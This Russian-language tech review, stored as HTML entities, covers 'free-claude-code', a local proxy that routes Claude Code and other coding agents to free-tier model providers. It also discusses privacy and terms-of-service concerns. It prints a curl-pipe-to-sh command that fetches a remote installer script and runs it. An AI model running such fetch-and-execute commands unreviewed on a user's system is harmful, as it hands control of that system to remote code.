&#x43F;&#x43E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x438;&#x439; &#x431;&#x44D;&#x43A;&#x435;&#x43D;&#x434; &#x440;&#x435;&#x448;&#x435;&#x43D;&#x438;&#x435; &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x438;&#x43C;&#x43E;&#x435;, &#x43D;&#x43E; &#x43F;&#x43E;&#x43C;&#x43D;&#x438;&#x442;&#x44C; &#x43E; &#x43D;&#x451;&#x43C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x2014; &#x441;&#x430;&#x43C; &#x441;&#x435;&#x431;&#x44F; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x43D;&#x435;&#x442;. 

&#x41D;&#x435; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; Claude Code: &#x434;&#x435;&#x432;&#x44F;&#x442;&#x44C; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x43D;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x43C; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x435;

&#x41E;&#x434;&#x43D;&#x438;&#x43C; &#x43B;&#x438;&#x448;&#x44C; Claude Code &#x434;&#x435;&#x43B;&#x43E; &#x43D;&#x435; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x43E;. &#x41A; &#x442;&#x43E;&#x43C;&#x443; &#x436;&#x435; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438; &#x446;&#x435;&#x43F;&#x43B;&#x44F;&#x44E;&#x442;&#x441;&#x44F; Codex, Pi, OpenCode, Cline, Hermes, DeepSeek Harness, Grok Build &#x438; Muse Code, &#x443; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x433;&#x43E; &#x441;&#x432;&#x43E;&#x439; &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x44E;&#x449;&#x438;&#x439; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442; &#x2014; fcc-claude, fcc-codex, fcc-opencode &#x438; &#x442;&#x430;&#x43A; &#x434;&#x430;&#x43B;&#x435;&#x435;. Codex &#x43D;&#x430;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x447;&#x435;&#x440;&#x435;&#x437; ~/.codex/config.toml, &#x43A;&#x443;&#x434;&#x430; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x435;&#x43A;&#x446;&#x438;&#x44F; [model_providers.fcc] &#x441; base_url = "http://127.0.0.1:8082/v1". 

&#x41F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x438; &#x437;&#x430;&#x432;&#x43E;&#x434;&#x44F;&#x442;&#x441;&#x44F; &#x432; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x430;&#x434;&#x43C;&#x438;&#x43D;&#x43A;&#x435;. &#x41F;&#x43E;&#x438;&#x43C;&#x451;&#x43D;&#x43D;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x43E; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x430; &#x442;&#x440;&#x438;&#x434;&#x446;&#x430;&#x442;&#x438;: NVIDIA NIM, OpenRouter, Google AI Studio &#x438; Vertex AI, DeepSeek, Mistral, Amazon Bedrock, Hugging Face, Cohere, GitHub Models, Kimi, MiniMax, Cerebras, Groq, SambaNova, Fireworks, Cloudflare Workers AI, Z.ai, &#x430; &#x442;&#x430;&#x43A;&#x436;&#x435; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; Ollama, LM Studio &#x438; llama.cpp. &#x417;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x43E; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x43F;&#x43E;&#x43B;&#x441;&#x43E;&#x442;&#x43D;&#x438; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x438; &#xAB;&#x441;&#x432;&#x44B;&#x448;&#x435; 1,3 &#x43C;&#x43B;&#x440;&#x434; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x445; &#x442;&#x43E;&#x43A;&#x435;&#x43D;&#x43E;&#x432; &#x435;&#x436;&#x435;&#x43C;&#x435;&#x441;&#x44F;&#x447;&#x43D;&#x43E;&#xBB; &#x2014; &#x432;&#x435;&#x43B;&#x438;&#x447;&#x438;&#x43D;&#x430; &#x44D;&#x442;&#x430; &#x441;&#x443;&#x43C;&#x43C;&#x430;&#x440;&#x43D;&#x430;&#x44F;, &#x43F;&#x43E; &#x432;&#x441;&#x435;&#x43C; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x43C; &#x442;&#x430;&#x440;&#x438;&#x444;&#x430;&#x43C; &#x441;&#x440;&#x430;&#x437;&#x443;, &#x438; &#x441;&#x430;&#x43C; README &#x441;&#x440;&#x430;&#x437;&#x443; &#x443;&#x442;&#x43E;&#x447;&#x43D;&#x44F;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x43B;&#x438;&#x43C;&#x438;&#x442;&#x430;&#x43C;&#x438; &#x440;&#x430;&#x441;&#x43F;&#x43E;&#x440;&#x44F;&#x436;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x438; &#x438; &#x43C;&#x435;&#x43D;&#x44F;&#x442;&#x44C;&#x441;&#x44F; &#x442;&#x435; &#x43C;&#x43E;&#x433;&#x443;&#x442; &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x443;&#x433;&#x43E;&#x434;&#x43D;&#x43E;. 

&#x41F;&#x430;&#x43D;&#x435;&#x43B;&#x44C; &#x443;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; FCC: &#x441;&#x442;&#x430;&#x442;&#x443;&#x441;&#x44B; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432;, &#x43A;&#x43B;&#x44E;&#x447;&#x438;, &#x432;&#x44B;&#x431;&#x43E;&#x440; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438;. &#x418;&#x43B;&#x43B;&#x44E;&#x441;&#x442;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x438;&#x437; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F;.

&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x430; &#x431;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x438; &#x43F;&#x43E;&#x442;&#x43E;&#x43D;&#x44C;&#x448;&#x435;. &#x41F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x435; MODEL_FABLE, MODEL_OPUS, MODEL_SONNET, MODEL_HAIKU &#x440;&#x430;&#x437;&#x432;&#x43E;&#x434;&#x44F;&#x442; &#x443;&#x440;&#x43E;&#x432;&#x43D;&#x438; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x435;&#x439; Claude Code &#x43F;&#x43E; &#x440;&#x430;&#x437;&#x43D;&#x44B;&#x43C; &#x431;&#x44D;&#x43A;&#x435;&#x43D;&#x434;&#x430;&#x43C;: &#x442;&#x44F;&#x436;&#x451;&#x43B;&#x43E;&#x435; &#x441;&#x447;&#x438;&#x442;&#x430;&#x435;&#x442; &#x43E;&#x434;&#x43D;&#x430; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C;, &#x440;&#x443;&#x442;&#x438;&#x43D;&#x443; &#x2014; &#x434;&#x440;&#x443;&#x433;&#x430;&#x44F;. 

&#x41F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x430; &#x43B;&#x435;&#x442;&#x443;, &#x440;&#x430;&#x434;&#x438; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x432;&#x441;&#x451; &#x438; &#x437;&#x430;&#x442;&#x435;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;

&#x421;&#x430;&#x43C;&#x43E;&#x435; &#x446;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x441; &#x438;&#x43D;&#x436;&#x435;&#x43D;&#x435;&#x440;&#x43D;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x437;&#x440;&#x435;&#x43D;&#x438;&#x44F; &#x441;&#x43F;&#x440;&#x44F;&#x442;&#x430;&#x43D;&#x43E; &#x432; &#x43E;&#x434;&#x43D;&#x43E;&#x43C; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x438; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x44F;. &#x412; &#x440;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x435; Model Config &#x441;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x443;&#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43E;&#x447;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; Fallback Models; &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x43F;&#x43E;&#x43F;&#x44B;&#x442;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x447;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x434;&#x43E; &#x442;&#x435;&#x43A;&#x443;&#x449;&#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x430; &#x438;&#x441;&#x447;&#x435;&#x440;&#x43F;&#x430;&#x43D;&#x44B;, FCC &#x431;&#x435;&#x440;&#x451;&#x442; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x443;&#x44E; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C; &#x438;&#x437; &#x441;&#x43F;&#x438;&#x441;&#x43A;&#x430; &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x43F;&#x43E;&#x441;&#x440;&#x435;&#x434;&#x438; &#x445;&#x43E;&#x434;&#x430; &#x2014; &#x441;&#x435;&#x441;&#x441;&#x438;&#x44E; &#x43F;&#x435;&#x440;&#x435;&#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x442;&#x44C; &#x43D;&#x435; &#x43D;&#x443;&#x436;&#x43D;&#x43E;, &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442; &#x437;&#x430;&#x434;&#x430;&#x447;&#x438; &#x43D;&#x435; &#x442;&#x435;&#x440;&#x44F;&#x435;&#x442;&#x441;&#x44F;. 

&#x412;&#x441;&#x44F;&#x43A;&#x438;&#x439;, &#x43A;&#x442;&#x43E; &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x43B; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x43D;&#x430; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x445; &#x442;&#x430;&#x440;&#x438;&#x444;&#x430;&#x445;, &#x43E;&#x446;&#x435;&#x43D;&#x438;&#x442;: 429 &#x438; &#x43F;&#x44F;&#x442;&#x438;&#x441;&#x43E;&#x442;&#x44B;&#x435; &#x441;&#x44B;&#x43F;&#x43B;&#x44E;&#x442;&#x441;&#x44F; &#x43E;&#x442;&#x442;&#x443;&#x434;&#x430; &#x440;&#x435;&#x433;&#x443;&#x43B;&#x44F;&#x440;&#x43D;&#x43E;, &#x430; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442; &#x44D;&#x442;&#x43E; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x440;&#x435;&#x444;&#x430;&#x43A;&#x442;&#x43E;&#x440;&#x438;&#x43D;&#x433;, &#x43E;&#x431;&#x43E;&#x440;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x439; &#x43D;&#x430; &#x441;&#x435;&#x440;&#x435;&#x434;&#x438;&#x43D;&#x435;. &#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x430; &#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x438;&#x44F; &#x43D;&#x430; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x435; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434; &#x2014; &#x43D;&#x435;&#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; RTK &#x432;&#x44B;&#x447;&#x438;&#x449;&#x430;&#x435;&#x442; &#x442;&#x438;&#x43F;&#x43E;&#x432;&#x43E;&#x439; &#x43C;&#x443;&#x441;&#x43E;&#x440; &#x438;&#x437; &#x442;&#x435;&#x440;&#x43C;&#x438;&#x43D;&#x430;&#x43B;&#x430;, &#x43F;&#x43E; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44E; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x434;&#x43E; 90 % &#x442;&#x43E;&#x43A;&#x435;&#x43D;&#x43E;&#x432;. 

&#x423;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43A;&#x430; &#x438; &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x434;&#x43E;&#x440;&#x43E;&#x433;&#x430;

&#x421;&#x442;&#x430;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x43E;&#x439;, &#x438; &#x432;&#x43E;&#x442; &#x437;&#x434;&#x435;&#x441;&#x44C; curl | sh &#x437;&#x430;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43C;&#x435;&#x43D;&#x44C;&#x448;&#x435;&#x439; &#x43D;&#x435;&#x440;&#x432;&#x43E;&#x437;&#x43D;&#x43E;&#x441;&#x442;&#x438;, &#x447;&#x435;&#x43C; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E;. &#x421;&#x43A;&#x440;&#x438;&#x43F;&#x442; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; 1329 &#x441;&#x442;&#x440;&#x43E;&#x43A;, &#x43F;&#x440;&#x430;&#x432; root &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x441;&#x438;&#x442;, &#x440;&#x430;&#x441;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x432;&#x441;&#x451; &#x43F;&#x43E; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x441;&#x43A;&#x43E;&#x43C;&#x443; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44E; &#x438; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x435;&#x442; &#x43A;&#x430;&#x436;&#x434;&#x443;&#x44E; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x443; &#x43F;&#x435;&#x440;&#x435;&#x434; &#x432;&#x44B;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x435;&#x43C;. &#x41F;&#x440;&#x43E;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x449;&#x438;&#x43A; &#x437;&#x430;&#x440;&#x430;&#x43D;&#x435;&#x435; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x44B; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x430;&#x433;&#x430;&#x44E;&#x442; &#x441;&#x430;&#x43C;&#x438; &#x2014; &#x441;&#x43E;&#x432;&#x435;&#x442; &#x437;&#x434;&#x440;&#x430;&#x432;&#x44B;&#x439;. 

curl -fsSL "https://raw.githubusercontent.com/Alishahryar1/free-claude-code/main/scripts/install.sh" | sh

&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x445;&#x440;&#x430;&#x43D;&#x44F;&#x442;&#x441;&#x44F; &#x432; ~/.config/free-claude-code/.env &#x438; ~/.fcc/, &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x441;&#x442;&#x430;&#x440;&#x442;&#x443;&#x435;&#x442; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x43E;&#x439; fcc-server, &#x432;&#x435;&#x440;&#x441;&#x438;&#x44E; &#x43F;&#x43E;&#x43A;&#x430;&#x436;&#x435;&#x442; fcc-server --version. &#x41F;&#x430;&#x440;&#x43D;&#x44B;&#x439; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442; &#x443;&#x434;&#x430;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x443;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x441;&#x430;&#x43C; FCC &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x43E;&#x43C; ~/.fcc/, &#x43E;&#x434;&#x43D;&#x430;&#x43A;&#x43E; &#x43D;&#x435; &#x442;&#x440;&#x43E;&#x433;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x44B;, uv, Python &#x438; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x438; PATH &#x2014; Claude Code, Codex &#x438; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; &#x432;&#x44B;&#x447;&#x438;&#x449;&#x430;&#x442;&#x44C; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x432;&#x440;&#x443;&#x447;&#x43D;&#x443;&#x44E;. 

&#x412;&#x43E; &#x447;&#x442;&#x43E; &#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#x435;

&#x1F512; &#x411;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x441;&#x442;&#x44C; 
&#x41F;&#x440;&#x43E; &#x43F;&#x440;&#x438;&#x432;&#x430;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x43E;&#x431;&#x443;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x430; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x432; README &#x43D;&#x435; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x43D;&#x43E; &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E;. &#x418;&#x441;&#x43A;&#x430;&#x43B; &#x446;&#x435;&#x43B;&#x435;&#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x43E; &#x2014; &#x442;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#x440;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x430; &#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x442;&#x443; &#x43D;&#x435;&#x442;. &#x41C;&#x435;&#x436;&#x434;&#x443; &#x442;&#x435;&#x43C; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x435; &#x442;&#x430;&#x440;&#x438;&#x444;&#x44B; &#x443; &#x440;&#x44F;&#x434;&#x430; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x43E;&#x43A;&#x443;&#x43F;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x442;&#x435;&#x43C;, &#x447;&#x442;&#x43E; &#x43F;&#x440;&#x438;&#x441;&#x43B;&#x430;&#x43D;&#x43D;&#x43E;&#x435; &#x438;&#x434;&#x451;&#x442; &#x432; &#x43E;&#x431;&#x443;&#x447;&#x435;&#x43D;&#x438;&#x435;. &#x427;&#x435;&#x440;&#x435;&#x437; FCC &#x43D;&#x430;&#x440;&#x443;&#x436;&#x443; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x442;&#x441;&#x44F; &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x43C;&#x43E;&#x435; &#x444;&#x430;&#x439;&#x43B;&#x43E;&#x432;, &#x434;&#x438;&#x444;&#x444;&#x44B; &#x438; &#x43F;&#x440;&#x43E;&#x43C;&#x43F;&#x442;&#x44B; &#x2014; &#x43A;&#x43E;&#x43C;&#x43F;&#x430;&#x43D;&#x438;&#x438;, &#x447;&#x44C;&#x438; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F; &#x432;&#x44B; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43D;&#x430;&#x432;&#x435;&#x440;&#x43D;&#x44F;&#x43A;&#x430; &#x43D;&#x435; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x43B;&#x438;. &#x414;&#x43B;&#x44F; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x439; &#x43F;&#x43E;&#x434;&#x435;&#x43B;&#x43A;&#x438; &#x44D;&#x442;&#x43E; &#x431;&#x435;&#x437;&#x440;&#x430;&#x437;&#x43B;&#x438;&#x447;&#x43D;&#x43E;, &#x430; &#x432;&#x43E;&#x442; &#x434;&#x43B;&#x44F; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x435;&#x433;&#x43E; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x43F;&#x43E;&#x434; NDA &#x2014; &#x442;&#x430; &#x441;&#x430;&#x43C;&#x430;&#x44F; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x44F;&#x449;&#x430;&#x44F; &#x446;&#x435;&#x43D;&#x430; &#xAB;&#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#x433;&#x43E;&#xBB;. 


&#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x2014; &#x430;&#x43A;&#x43A;&#x443;&#x440;&#x430;&#x442;&#x43D;&#x435;&#x435; &#x441; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430;&#x43C;&#x438; &#x43F;&#x440;&#x43E; ToS. &#x41F;&#x440;&#x43E;&#x435;&#x43A;&#x442; &#x443;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#xAB;&#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F;&#x43C; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x438; &#x443;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x438;&#x43D;&#x442;&#x435;&#x433;&#x440;&#x430;&#x446;&#x438;&#x438;, &#x435;&#x441;&#x43B;&#x438; &#x442;&#x435; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x44E;&#x442; &#x431;&#x44B;&#x442;&#x44C; &#x440;&#x430;&#x437;&#x440;&#x435;&#x448;&#x451;&#x43D;&#x43D;&#x44B;&#x43C;&#x438;&#xBB;, &#x438; &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x44F;&#x435;&#x442; &#x43E;&#x431; &#x43E;&#x442;&#x441;&#x443;&#x442;&#x441;&#x442;&#x432;&#x438;&#x438; &#x430;&#x444;&#x444;&#x438;&#x43B;&#x438;&#x430;&#x446;&#x438;&#x438; &#x441; Anthropic. &#x417;&#x430;&#x43C;&#x435;&#x442;&#x44C;&#x442;&#x435;: &#x433;&#x43E;&#x432;&#x43E;&#x440;&#x438;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x43E; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x435;&#x439;. &#x423;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43B;&#x438; &#x441;&#x430;&#x43C; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439; &#x432; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x430; Claude Code &#x2014; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x438;&#x43D;&#x43E;&#x439;, &#x438; &#x440;&#x430;&#x437;&#x431;&#x438;&#x440;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x441; &#x43D;&#x438;&#x43C; &#x43A;&#x430;&#x436;&#x434;&#x43E;&#x43C;&#x443; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x441;&#x430;&#x43C;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;, &#x43F;&#x43E; &#x430;&#x43A;&#x442;&#x443;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x43C; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F;&#x43C;, &#x430; &#x43D;&#x435; &#x43F;&#x43E; README &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x435;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;. 

&#x41D;&#x430;&#x43A;&#x43E;&#x43D;&#x435;&#x446;, &#x43F;&#x440;&#x43E; &#x434;&#x43E;&#x43B;&#x433;&#x43E;&#x432;&#x435;&#x447;&#x43D;&#x43E;&#x441;&#x442;&#x44C;. &#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x445; issue &#x2014; 238, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x445; pull request &#x2014; 107 &#x43F;&#x440;&#x438; 969 &#x43A;&#x43E;&#x43C;&#x43C;&#x438;&#x442;&#x430;&#x445;: &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442; &#x438; &#x436;&#x438;&#x432;&#x43E;&#x439;, &#x438; &#x441; &#x43E;&#x449;&#x443;&#x442;&#x438;&#x43C;&#x44B;&#x43C; &#x437;&#x430;&#x432;&#x430;&#x43B;&#x43E;&#x43C; &#x43E;&#x434;&#x43D;&#x43E;&#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x43E;. &#x411;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x435; &#x442;&#x430;&#x440;&#x438;&#x444;&#x44B; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x440;&#x430;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x447;&#x430;&#x449;&#x435;, &#x447;&#x435;&#x43C; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x440;&#x435;&#x43B;&#x438;&#x437;&#x44B;, &#x442;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44E; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x432;&#x440;&#x435;&#x43C;&#x44F; &#x43E;&#x442; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x442;&#x44C; &#x437;&#x430;&#x43D;&#x43E;&#x432;&#x43E;. 

